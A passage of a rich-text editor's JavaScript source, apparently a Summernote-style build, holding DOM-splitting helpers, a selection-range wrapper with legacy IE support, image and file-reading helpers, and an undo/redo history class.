    // ex) [#text, <span>, <p>]
    var ancestors = listAncestor(point.node, func.eq(root));
    if (!ancestors.length) {
        return null;
    }
    else if (ancestors.length === 1) {
        return splitNode(point, options);
    }
    return ancestors.reduce(function (node, parent) {
        if (node === point.node) {
            node = splitNode(point, options);
        }
        return splitNode({
            node: parent,
            offset: node ? position(node) : nodeLength(parent)
        }, options);
    });
}
/**
 * split point
 *
 * @param {Point} point
 * @param {Boolean} isInline
 * @return {Object}
 */
function splitPoint(point, isInline) {
    // find splitRoot, container
    //  - inline: splitRoot is a child of paragraph
    //  - block: splitRoot is a child of bodyContainer
    var pred = isInline ? isPara : isBodyContainer;
    var ancestors = listAncestor(point.node, pred);
    var topAncestor = lists.last(ancestors) || point.node;
    var splitRoot, container;
    if (pred(topAncestor)) {
        splitRoot = ancestors[ancestors.length - 2];
        container = topAncestor;
    }
    else {
        splitRoot = topAncestor;
        container = splitRoot.parentNode;
    }
    // if splitRoot is exists, split with splitTree
    var pivot = splitRoot && splitTree(splitRoot, point, {
        isSkipPaddingBlankHTML: isInline,
        isNotSplitEdgePoint: isInline
    });
    // if container is point.node, find pivot with point.offset
    if (!pivot && container === point.node) {
        pivot = point.node.childNodes[point.offset];
    }
    return {
        rightNode: pivot,
        container: container
    };
}
function create(nodeName) {
    return document.createElement(nodeName);
}
function createText(text) {
    return document.createTextNode(text);
}
/**
 * @method remove
 *
 * remove node, (isRemoveChild: remove child or not)
 *
 * @param {Node} node
 * @param {Boolean} isRemoveChild
 */
function remove(node, isRemoveChild) {
    if (!node || !node.parentNode) {
        return;
    }
    if (node.removeNode) {
        return node.removeNode(isRemoveChild);
    }
    var parent = node.parentNode;
    if (!isRemoveChild) {
        var nodes = [];
        for (var i = 0, len = node.childNodes.length; i < len; i++) {
            nodes.push(node.childNodes[i]);
        }
        for (var i = 0, len = nodes.length; i < len; i++) {
            parent.insertBefore(nodes[i], node);
        }
    }
    parent.removeChild(node);
}
/**
 * @method removeWhile
 *
 * @param {Node} node
 * @param {Function} pred
 */
function removeWhile(node, pred) {
    while (node) {
        if (isEditable(node) || !pred(node)) {
            break;
        }
        var parent = node.parentNode;
        remove(node);
        node = parent;
    }
}
/**
 * @method replace
 *
 * replace node with provided nodeName
 *
 * @param {Node} node
 * @param {String} nodeName
 * @return {Node} - new node
 */
function replace(node, nodeName) {
    if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {
        return node;
    }
    var newNode = create(nodeName);
    if (node.style.cssText) {
        newNode.style.cssText = node.style.cssText;
    }
    appendChildNodes(newNode, lists.from(node.childNodes));
    insertAfter(newNode, node);
    remove(node);
    return newNode;
}
var isTextarea = makePredByNodeName('TEXTAREA');
/**
 * @param {jQuery} $node
 * @param {Boolean} [stripLinebreaks] - default: false
 */
function value($node, stripLinebreaks) {
    var val = isTextarea($node[0]) ? $node.val() : $node.html();
    if (stripLinebreaks) {
        return val.replace(/[\n\r]/g, '');
    }
    return val;
}
/**
 * @method html
 *
 * get the HTML contents of node
 *
 * @param {jQuery} $node
 * @param {Boolean} [isNewlineOnBlock]
 */
function html($node, isNewlineOnBlock) {
    var markup = value($node);
    if (isNewlineOnBlock) {
        var regexTag = /<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g;
        markup = markup.replace(regexTag, function (match, endSlash, name) {
            name = name.toUpperCase();
            var isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&
                !!endSlash;
            var isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);
            return match + ((isEndOfInlineContainer || isBlockNode) ? '\n' : '');
        });
        markup = $$1.trim(markup);
    }
    return markup;
}
function posFromPlaceholder(placeholder) {
    var $placeholder = $$1(placeholder);
    var pos = $placeholder.offset();
    var height = $placeholder.outerHeight(true); // include margin
    return {
        left: pos.left,
        top: pos.top + height
    };
}
function attachEvents($node, events) {
    Object.keys(events).forEach(function (key) {
        $node.on(key, events[key]);
    });
}
function detachEvents($node, events) {
    Object.keys(events).forEach(function (key) {
        $node.off(key, events[key]);
    });
}
/**
 * @method isCustomStyleTag
 *
 * assert if a node contains a "note-styletag" class,
 * which implies that's a custom-made style tag node
 *
 * @param {Node} an HTML DOM node
 */
function isCustomStyleTag(node) {
    return node && !isText(node) && lists.contains(node.classList, 'note-styletag');
}
var dom = {
    /** @property {String} NBSP_CHAR */
    NBSP_CHAR: NBSP_CHAR,
    /** @property {String} ZERO_WIDTH_NBSP_CHAR */
    ZERO_WIDTH_NBSP_CHAR: ZERO_WIDTH_NBSP_CHAR,
    /** @property {String} blank */
    blank: blankHTML,
    /** @property {String} emptyPara */
    emptyPara: "<p>" + blankHTML + "</p>",
    makePredByNodeName: makePredByNodeName,
    isEditable: isEditable,
    isControlSizing: isControlSizing,
    isText: isText,
    isElement: isElement,
    isVoid: isVoid,
    isPara: isPara,
    isPurePara: isPurePara,
    isHeading: isHeading,
    isInline: isInline,
    isBlock: func.not(isInline),
    isBodyInline: isBodyInline,
    isBody: isBody,
    isParaInline: isParaInline,
    isPre: isPre,
    isList: isList,
    isTable: isTable,
    isData: isData,
    isCell: isCell,
    isBlockquote: isBlockquote,
    isBodyContainer: isBodyContainer,
    isAnchor: isAnchor,
    isDiv: makePredByNodeName('DIV'),
    isLi: isLi,
    isBR: makePredByNodeName('BR'),
    isSpan: makePredByNodeName('SPAN'),
    isB: makePredByNodeName('B'),
    isU: makePredByNodeName('U'),
    isS: makePredByNodeName('S'),
    isI: makePredByNodeName('I'),
    isImg: makePredByNodeName('IMG'),
    isTextarea: isTextarea,
    isEmpty: isEmpty$1,
    isEmptyAnchor: func.and(isAnchor, isEmpty$1),
    isClosestSibling: isClosestSibling,
    withClosestSiblings: withClosestSiblings,
    nodeLength: nodeLength,
    isLeftEdgePoint: isLeftEdgePoint,
    isRightEdgePoint: isRightEdgePoint,
    isEdgePoint: isEdgePoint,
    isLeftEdgeOf: isLeftEdgeOf,
    isRightEdgeOf: isRightEdgeOf,
    isLeftEdgePointOf: isLeftEdgePointOf,
    isRightEdgePointOf: isRightEdgePointOf,
    prevPoint: prevPoint,
    nextPoint: nextPoint,
    isSamePoint: isSamePoint,
    isVisiblePoint: isVisiblePoint,
    prevPointUntil: prevPointUntil,
    nextPointUntil: nextPointUntil,
    isCharPoint: isCharPoint,
    walkPoint: walkPoint,
    ancestor: ancestor,
    singleChildAncestor: singleChildAncestor,
    listAncestor: listAncestor,
    lastAncestor: lastAncestor,
    listNext: listNext,
    listPrev: listPrev,
    listDescendant: listDescendant,
    commonAncestor: commonAncestor,
    wrap: wrap,
    insertAfter: insertAfter,
    appendChildNodes: appendChildNodes,
    position: position,
    hasChildren: hasChildren,
    makeOffsetPath: makeOffsetPath,
    fromOffsetPath: fromOffsetPath,
    splitTree: splitTree,
    splitPoint: splitPoint,
    create: create,
    createText: createText,
    remove: remove,
    removeWhile: removeWhile,
    replace: replace,
    html: html,
    value: value,
    posFromPlaceholder: posFromPlaceholder,
    attachEvents: attachEvents,
    detachEvents: detachEvents,
    isCustomStyleTag: isCustomStyleTag
};

/**
 * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js
 *
 * @param {TextRange} textRange
 * @param {Boolean} isStart
 * @return {BoundaryPoint}
 *
 * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx
 */
function textRangeToPoint(textRange, isStart) {
    var container = textRange.parentElement();
    var offset;
    var tester = document.body.createTextRange();
    var prevContainer;
    var childNodes = lists.from(container.childNodes);
    for (offset = 0; offset < childNodes.length; offset++) {
        if (dom.isText(childNodes[offset])) {
            continue;
        }
        tester.moveToElementText(childNodes[offset]);
        if (tester.compareEndPoints('StartToStart', textRange) >= 0) {
            break;
        }
        prevContainer = childNodes[offset];
    }
    if (offset !== 0 && dom.isText(childNodes[offset - 1])) {
        var textRangeStart = document.body.createTextRange();
        var curTextNode = null;
        textRangeStart.moveToElementText(prevContainer || container);
        textRangeStart.collapse(!prevContainer);
        curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;
        var pointTester = textRange.duplicate();
        pointTester.setEndPoint('StartToStart', textRangeStart);
        var textCount = pointTester.text.replace(/[\r\n]/g, '').length;
        while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {
            textCount -= curTextNode.nodeValue.length;
            curTextNode = curTextNode.nextSibling;
        }
        // [workaround] enforce IE to re-reference curTextNode, hack
        var dummy = curTextNode.nodeValue; // eslint-disable-line
        if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&
            textCount === curTextNode.nodeValue.length) {
            textCount -= curTextNode.nodeValue.length;
            curTextNode = curTextNode.nextSibling;
        }
        container = curTextNode;
        offset = textCount;
    }
    return {
        cont: container,
        offset: offset
    };
}
/**
 * return TextRange from boundary point (inspired by google closure-library)
 * @param {BoundaryPoint} point
 * @return {TextRange}
 */
function pointToTextRange(point) {
    var textRangeInfo = function (container, offset) {
        var node, isCollapseToStart;
        if (dom.isText(container)) {
            var prevTextNodes = dom.listPrev(container, func.not(dom.isText));
            var prevContainer = lists.last(prevTextNodes).previousSibling;
            node = prevContainer || container.parentNode;
            offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);
            isCollapseToStart = !prevContainer;
        }
        else {
            node = container.childNodes[offset] || container;
            if (dom.isText(node)) {
                return textRangeInfo(node, 0);
            }
            offset = 0;
            isCollapseToStart = false;
        }
        return {
            node: node,
            collapseToStart: isCollapseToStart,
            offset: offset
        };
    };
    var textRange = document.body.createTextRange();
    var info = textRangeInfo(point.node, point.offset);
    textRange.moveToElementText(info.node);
    textRange.collapse(info.collapseToStart);
    textRange.moveStart('character', info.offset);
    return textRange;
}
/**
   * Wrapped Range
   *
   * @constructor
   * @param {Node} sc - start container
   * @param {Number} so - start offset
   * @param {Node} ec - end container
   * @param {Number} eo - end offset
   */
var WrappedRange = /** @class */ (function () {
    function WrappedRange(sc, so, ec, eo) {
        this.sc = sc;
        this.so = so;
        this.ec = ec;
        this.eo = eo;
        // isOnEditable: judge whether range is on editable or not
        this.isOnEditable = this.makeIsOn(dom.isEditable);
        // isOnList: judge whether range is on list node or not
        this.isOnList = this.makeIsOn(dom.isList);
        // isOnAnchor: judge whether range is on anchor node or not
        this.isOnAnchor = this.makeIsOn(dom.isAnchor);
        // isOnCell: judge whether range is on cell node or not
        this.isOnCell = this.makeIsOn(dom.isCell);
        // isOnData: judge whether range is on data node or not
        this.isOnData = this.makeIsOn(dom.isData);
    }
    // nativeRange: get nativeRange from sc, so, ec, eo
    WrappedRange.prototype.nativeRange = function () {
        if (env.isW3CRangeSupport) {
            var w3cRange = document.createRange();
            w3cRange.setStart(this.sc, this.so);
            w3cRange.setEnd(this.ec, this.eo);
            return w3cRange;
        }
        else {
            var textRange = pointToTextRange({
                node: this.sc,
                offset: this.so
            });
            textRange.setEndPoint('EndToEnd', pointToTextRange({
                node: this.ec,
                offset: this.eo
            }));
            return textRange;
        }
    };
    WrappedRange.prototype.getPoints = function () {
        return {
            sc: this.sc,
            so: this.so,
            ec: this.ec,
            eo: this.eo
        };
    };
    WrappedRange.prototype.getStartPoint = function () {
        return {
            node: this.sc,
            offset: this.so
        };
    };
    WrappedRange.prototype.getEndPoint = function () {
        return {
            node: this.ec,
            offset: this.eo
        };
    };
    /**
     * select update visible range
     */
    WrappedRange.prototype.select = function () {
        var nativeRng = this.nativeRange();
        if (env.isW3CRangeSupport) {
            var selection = document.getSelection();
            if (selection.rangeCount > 0) {
                selection.removeAllRanges();
            }
            selection.addRange(nativeRng);
        }
        else {
            nativeRng.select();
        }
        return this;
    };
    /**
     * Moves the scrollbar to start container(sc) of current range
     *
     * @return {WrappedRange}
     */
    WrappedRange.prototype.scrollIntoView = function (container) {
        var height = $$1(container).height();
        if (container.scrollTop + height < this.sc.offsetTop) {
            container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);
        }
        return this;
    };
    /**
     * @return {WrappedRange}
     */
    WrappedRange.prototype.normalize = function () {
        /**
         * @param {BoundaryPoint} point
         * @param {Boolean} isLeftToRight
         * @return {BoundaryPoint}
         */
        var getVisiblePoint = function (point, isLeftToRight) {
            if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||
                (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||
                (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||
                (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {
                return point;
            }
            // point on block's edge
            var block = dom.ancestor(point.node, dom.isBlock);
            if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||
                ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {
                // returns point already on visible point
                if (dom.isVisiblePoint(point)) {
                    return point;
                }
                // reverse direction
                isLeftToRight = !isLeftToRight;
            }
            var nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)
                : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);
            return nextPoint || point;
        };
        var endPoint = getVisiblePoint(this.getEndPoint(), false);
        var startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);
        return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset);
    };
    /**
     * returns matched nodes on range
     *
     * @param {Function} [pred] - predicate function
     * @param {Object} [options]
     * @param {Boolean} [options.includeAncestor]
     * @param {Boolean} [options.fullyContains]
     * @return {Node[]}
     */
    WrappedRange.prototype.nodes = function (pred, options) {
        pred = pred || func.ok;
        var includeAncestor = options && options.includeAncestor;
        var fullyContains = options && options.fullyContains;
        // TODO compare points and sort
        var startPoint = this.getStartPoint();
        var endPoint = this.getEndPoint();
        var nodes = [];
        var leftEdgeNodes = [];
        dom.walkPoint(startPoint, endPoint, function (point) {
            if (dom.isEditable(point.node)) {
                return;
            }
            var node;
            if (fullyContains) {
                if (dom.isLeftEdgePoint(point)) {
                    leftEdgeNodes.push(point.node);
                }
                if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {
                    node = point.node;
                }
            }
            else if (includeAncestor) {
                node = dom.ancestor(point.node, pred);
            }
            else {
                node = point.node;
            }
            if (node && pred(node)) {
                nodes.push(node);
            }
        }, true);
        return lists.unique(nodes);
    };
    /**
     * returns commonAncestor of range
     * @return {Element} - commonAncestor
     */
    WrappedRange.prototype.commonAncestor = function () {
        return dom.commonAncestor(this.sc, this.ec);
    };
    /**
     * returns expanded range by pred
     *
     * @param {Function} pred - predicate function
     * @return {WrappedRange}
     */
    WrappedRange.prototype.expand = function (pred) {
        var startAncestor = dom.ancestor(this.sc, pred);
        var endAncestor = dom.ancestor(this.ec, pred);
        if (!startAncestor && !endAncestor) {
            return new WrappedRange(this.sc, this.so, this.ec, this.eo);
        }
        var boundaryPoints = this.getPoints();
        if (startAncestor) {
            boundaryPoints.sc = startAncestor;
            boundaryPoints.so = 0;
        }
        if (endAncestor) {
            boundaryPoints.ec = endAncestor;
            boundaryPoints.eo = dom.nodeLength(endAncestor);
        }
        return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo);
    };
    /**
     * @param {Boolean} isCollapseToStart
     * @return {WrappedRange}
     */
    WrappedRange.prototype.collapse = function (isCollapseToStart) {
        if (isCollapseToStart) {
            return new WrappedRange(this.sc, this.so, this.sc, this.so);
        }
        else {
            return new WrappedRange(this.ec, this.eo, this.ec, this.eo);
        }
    };
    /**
     * splitText on range
     */
    WrappedRange.prototype.splitText = function () {
        var isSameContainer = this.sc === this.ec;
        var boundaryPoints = this.getPoints();
        if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {
            this.ec.splitText(this.eo);
        }
        if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {
            boundaryPoints.sc = this.sc.splitText(this.so);
            boundaryPoints.so = 0;
            if (isSameContainer) {
                boundaryPoints.ec = boundaryPoints.sc;
                boundaryPoints.eo = this.eo - this.so;
            }
        }
        return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo);
    };
    /**
     * delete contents on range
     * @return {WrappedRange}
     */
    WrappedRange.prototype.deleteContents = function () {
        if (this.isCollapsed()) {
            return this;
        }
        var rng = this.splitText();
        var nodes = rng.nodes(null, {
            fullyContains: true
        });
        // find new cursor point
        var point = dom.prevPointUntil(rng.getStartPoint(), function (point) {
            return !lists.contains(nodes, point.node);
        });
        var emptyParents = [];
        $$1.each(nodes, function (idx, node) {
            // find empty parents
            var parent = node.parentNode;
            if (point.node !== parent && dom.nodeLength(parent) === 1) {
                emptyParents.push(parent);
            }
            dom.remove(node, false);
        });
        // remove empty parents
        $$1.each(emptyParents, function (idx, node) {
            dom.remove(node, false);
        });
        return new WrappedRange(point.node, point.offset, point.node, point.offset).normalize();
    };
    /**
     * makeIsOn: return isOn(pred) function
     */
    WrappedRange.prototype.makeIsOn = function (pred) {
        return function () {
            var ancestor = dom.ancestor(this.sc, pred);
            return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));
        };
    };
    /**
     * @param {Function} pred
     * @return {Boolean}
     */
    WrappedRange.prototype.isLeftEdgeOf = function (pred) {
        if (!dom.isLeftEdgePoint(this.getStartPoint())) {
            return false;
        }
        var node = dom.ancestor(this.sc, pred);
        return node && dom.isLeftEdgeOf(this.sc, node);
    };
    /**
     * returns whether range was collapsed or not
     */
    WrappedRange.prototype.isCollapsed = function () {
        return this.sc === this.ec && this.so === this.eo;
    };
    /**
     * wrap inline nodes which children of body with paragraph
     *
     * @return {WrappedRange}
     */
    WrappedRange.prototype.wrapBodyInlineWithPara = function () {
        if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {
            this.sc.innerHTML = dom.emptyPara;
            return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);
        }
        /**
         * [workaround] firefox often create range on not visible point. so normalize here.
         *  - firefox: |<p>text</p>|
         *  - chrome: <p>|text|</p>
         */
        var rng = this.normalize();
        if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {
            return rng;
        }
        // find inline top ancestor
        var topAncestor;
        if (dom.isInline(rng.sc)) {
            var ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));
            topAncestor = lists.last(ancestors);
            if (!dom.isInline(topAncestor)) {
                topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];
            }
        }
        else {
            topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];
        }
        // siblings not in paragraph
        var inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();
        inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));
        // wrap with paragraph
        if (inlineSiblings.length) {
            var para = dom.wrap(lists.head(inlineSiblings), 'p');
            dom.appendChildNodes(para, lists.tail(inlineSiblings));
        }
        return this.normalize();
    };
    /**
     * insert node at current cursor
     *
     * @param {Node} node
     * @return {Node}
     */
    WrappedRange.prototype.insertNode = function (node) {
        var rng = this.wrapBodyInlineWithPara().deleteContents();
        var info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));
        if (info.rightNode) {
            info.rightNode.parentNode.insertBefore(node, info.rightNode);
        }
        else {
            info.container.appendChild(node);
        }
        return node;
    };
    /**
     * insert html at current cursor
     */
    WrappedRange.prototype.pasteHTML = function (markup) {
        var contentsContainer = $$1('<div></div>').html(markup)[0];
        var childNodes = lists.from(contentsContainer.childNodes);
        var rng = this.wrapBodyInlineWithPara().deleteContents();
        return childNodes.reverse().map(function (childNode) {
            return rng.insertNode(childNode);
        }).reverse();
    };
    /**
     * returns text in range
     *
     * @return {String}
     */
    WrappedRange.prototype.toString = function () {
        var nativeRng = this.nativeRange();
        return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;
    };
    /**
     * returns range for word before cursor
     *
     * @param {Boolean} [findAfter] - find after cursor, default: false
     * @return {WrappedRange}
     */
    WrappedRange.prototype.getWordRange = function (findAfter) {
        var endPoint = this.getEndPoint();
        if (!dom.isCharPoint(endPoint)) {
            return this;
        }
        var startPoint = dom.prevPointUntil(endPoint, function (point) {
            return !dom.isCharPoint(point);
        });
        if (findAfter) {
            endPoint = dom.nextPointUntil(endPoint, function (point) {
                return !dom.isCharPoint(point);
            });
        }
        return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset);
    };
    /**
     * create offsetPath bookmark
     *
     * @param {Node} editable
     */
    WrappedRange.prototype.bookmark = function (editable) {
        return {
            s: {
                path: dom.makeOffsetPath(editable, this.sc),
                offset: this.so
            },
            e: {
                path: dom.makeOffsetPath(editable, this.ec),
                offset: this.eo
            }
        };
    };
    /**
     * create offsetPath bookmark base on paragraph
     *
     * @param {Node[]} paras
     */
    WrappedRange.prototype.paraBookmark = function (paras) {
        return {
            s: {
                path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),
                offset: this.so
            },
            e: {
                path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),
                offset: this.eo
            }
        };
    };
    /**
     * getClientRects
     * @return {Rect[]}
     */
    WrappedRange.prototype.getClientRects = function () {
        var nativeRng = this.nativeRange();
        return nativeRng.getClientRects();
    };
    return WrappedRange;
}());
/**
 * Data structure
 *  * BoundaryPoint: a point of dom tree
 *  * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range
 *
 * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position
 */
var range = {
    /**
     * create Range Object From arguments or Browser Selection
     *
     * @param {Node} sc - start container
     * @param {Number} so - start offset
     * @param {Node} ec - end container
     * @param {Number} eo - end offset
     * @return {WrappedRange}
     */
    create: function (sc, so, ec, eo) {
        if (arguments.length === 4) {
            return new WrappedRange(sc, so, ec, eo);
        }
        else if (arguments.length === 2) {
            ec = sc;
            eo = so;
            return new WrappedRange(sc, so, ec, eo);
        }
        else {
            var wrappedRange = this.createFromSelection();
            if (!wrappedRange && arguments.length === 1) {
                wrappedRange = this.createFromNode(arguments[0]);
                return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);
            }
            return wrappedRange;
        }
    },
    createFromSelection: function () {
        var sc, so, ec, eo;
        if (env.isW3CRangeSupport) {
            var selection = document.getSelection();
            if (!selection || selection.rangeCount === 0) {
                return null;
            }
            else if (dom.isBody(selection.anchorNode)) {
                // Firefox: returns entire body as range on initialization.
                // We won't never need it.
                return null;
            }
            var nativeRng = selection.getRangeAt(0);
            sc = nativeRng.startContainer;
            so = nativeRng.startOffset;
            ec = nativeRng.endContainer;
            eo = nativeRng.endOffset;
        }
        else {
            var textRange = document.selection.createRange();
            var textRangeEnd = textRange.duplicate();
            textRangeEnd.collapse(false);
            var textRangeStart = textRange;
            textRangeStart.collapse(true);
            var startPoint = textRangeToPoint(textRangeStart, true);
            var endPoint = textRangeToPoint(textRangeEnd, false);
            // same visible point case: range was collapsed.
            if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&
                dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&
                endPoint.node.nextSibling === startPoint.node) {
                startPoint = endPoint;
            }
            sc = startPoint.cont;
            so = startPoint.offset;
            ec = endPoint.cont;
            eo = endPoint.offset;
        }
        return new WrappedRange(sc, so, ec, eo);
    },
    /**
     * @method
     *
     * create WrappedRange from node
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNode: function (node) {
        var sc = node;
        var so = 0;
        var ec = node;
        var eo = dom.nodeLength(ec);
        // browsers can't target a picture or void node
        if (dom.isVoid(sc)) {
            so = dom.listPrev(sc).length - 1;
            sc = sc.parentNode;
        }
        if (dom.isBR(ec)) {
            eo = dom.listPrev(ec).length - 1;
            ec = ec.parentNode;
        }
        else if (dom.isVoid(ec)) {
            eo = dom.listPrev(ec).length;
            ec = ec.parentNode;
        }
        return this.create(sc, so, ec, eo);
    },
    /**
     * create WrappedRange from node after position
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNodeBefore: function (node) {
        return this.createFromNode(node).collapse(true);
    },
    /**
     * create WrappedRange from node after position
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNodeAfter: function (node) {
        return this.createFromNode(node).collapse();
    },
    /**
     * @method
     *
     * create WrappedRange from bookmark
     *
     * @param {Node} editable
     * @param {Object} bookmark
     * @return {WrappedRange}
     */
    createFromBookmark: function (editable, bookmark) {
        var sc = dom.fromOffsetPath(editable, bookmark.s.path);
        var so = bookmark.s.offset;
        var ec = dom.fromOffsetPath(editable, bookmark.e.path);
        var eo = bookmark.e.offset;
        return new WrappedRange(sc, so, ec, eo);
    },
    /**
     * @method
     *
     * create WrappedRange from paraBookmark
     *
     * @param {Object} bookmark
     * @param {Node[]} paras
     * @return {WrappedRange}
     */
    createFromParaBookmark: function (bookmark, paras) {
        var so = bookmark.s.offset;
        var eo = bookmark.e.offset;
        var sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);
        var ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);
        return new WrappedRange(sc, so, ec, eo);
    }
};

/**
 * @method readFileAsDataURL
 *
 * read contents of file as representing URL
 *
 * @param {File} file
 * @return {Promise} - then: dataUrl
 */
function readFileAsDataURL(file) {
    return $$1.Deferred(function (deferred) {
        $$1.extend(new FileReader(), {
            onload: function (e) {
                var dataURL = e.target.result;
                deferred.resolve(dataURL);
            },
            onerror: function (err) {
                deferred.reject(err);
            }
        }).readAsDataURL(file);
    }).promise();
}
/**
 * @method createImage
 *
 * create `<image>` from url string
 *
 * @param {String} url
 * @return {Promise} - then: $image
 */
function createImage(url) {
    return $$1.Deferred(function (deferred) {
        var $img = $$1('<img>');
        $img.one('load', function () {
            $img.off('error abort');
            deferred.resolve($img);
        }).one('error abort', function () {
            $img.off('load').detach();
            deferred.reject($img);
        }).css({
            display: 'none'
        }).appendTo(document.body).attr('src', url);
    }).promise();
}

var History = /** @class */ (function () {
    function History($editable) {
        this.stack = [];
        this.stackOffset = -1;
        this.$editable = $editable;
        this.editable = $editable[0];
    }
    History.prototype.makeSnapshot = function () {
        var rng = range.create(this.editable);
        var emptyBookmark = { s: { path: [], offset: 0 }, e: { path: [], offset: 0 } };
        return {
            contents: this.$editable.html(),
            bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)
        };
    };
    History.prototype.applySnapshot = function (snapshot) {
        if (snapshot.contents !== null) {
            this.$editable.html(snapshot.contents);
        }
        if (snapshot.bookmark !== null) {
            range.createFromBookmark(this.editable, snapshot.bookmark).select();
        }
    };
    /**
    * @method rewind
    * Rewinds the history stack back to the first snapshot taken.
    * Leaves the stack intact, so that "Redo" can still be used.
    */
    History.prototype.rewind = function () {
        // Create snap shot if not yet recorded
        if (this.$editable.html() !== this.stack[this.stackOffset].contents) {
            this.recordUndo();
        }
        // Return to the first available snapshot.
        this.stackOffset = 0;
        // Apply that snapshot.
        this.applySnapshot(this.stack[this.stackOffset]);
    };
    /**
    * @method reset
    * Resets the history stack completely; reverting to an empty editor.
    */
    History.prototype.reset = function () {
        // Clear the stack.
        this.stack = [];
        // Restore stackOffset to its original value.
        this.stackOffset = -1;
        // Clear the editable area.
        this.$editable.html('');
        // Record our first snapshot (of nothing).
        this.recordUndo();
    };
    /**
     * undo
     */
    History.prototype.undo = function () {
        // Create snap shot if not yet recorded
        if (this.$editable.html() !== this.stack[this.stackOffset].contents) {
            this.recordUndo();
        }
        if (this.stackOffset > 0) {
            this.stackOffset--;
            this.applySnapshot(this.stack[this.stackOffset]);
        }
    };
    /**
     * redo
     */
    History.prototype.redo = function () {
        if (this.stack.length - 1 > this.stackOffset) {
            this.stackOffset++;
            this.applySnapshot(this.stack[this.stackOffset]);
        }
    };
    /**
     * recorded undo
     */
    History.prototype.recordUndo = function () {
        this.stackOffset++;
        // Wash out stack after stackOffset
        if (this.stack.length > this.stackOffset) {
            this.stack = this.stack.slice(0, this.stackOffset);
        }
        // Create new snapshot and push it to the end
        this.stack.push(this.makeSnapshot());
    };
    return History;
}());

var Style = /** @class */ (function () {
    function Style() {
    }
    /**
     * @method jQueryCSS
     *
     * [workaround] for old jQuery
     * passing an array of style properties to .css()
     * will result in an object of property-value pairs.
     * (compability with version < 1.9)
     *
     * @private
     * @param  {jQuery} $obj
     * @param  {Array} propertyNames - An array of one or more CSS properties.
     * @return {Object}
     */
    Style.prototype.jQueryCSS = function ($obj, propertyNames) {
        if (env.jqueryVersion < 1.9) {
            var result_1 = {};
            $$1.each(propertyNames, function (idx, propertyName) {
                result_1[propertyName] = $obj.css(propertyName);
            });
            return result_1;
        }
        return $obj.css(propertyNames);
    };
    /**
     * returns style object from node
     *
     * @param {jQuery} $node
     * @return {Object}
     */
    Style.prototype.fromNode = function ($node) {
        var properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];
        var styleInfo = this.jQueryCSS($node, properties) || {};
        styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);
        return styleInfo;
    };
    /**
     * paragraph level style
     *
     * @param {WrappedRange} rng
     * @param {Object} styleInfo
     */
    Style.prototype.stylePara = function (rng, styleInfo) {
        $$1.each(rng.nodes(dom.isPara, {
            includeAncestor: true
        }), function (idx, para) {
            $$1(para).css(styleInfo);
        });
    };
    /**
     * insert and returns styleNodes on range.
     *
     * @param {WrappedRange} rng
     * @param {Object} [options] - options for styleNodes
     * @param {String} [options.nodeName] - default: `SPAN`
     * @param {Boolean} [options.expandClosestSibling] - default: `false`
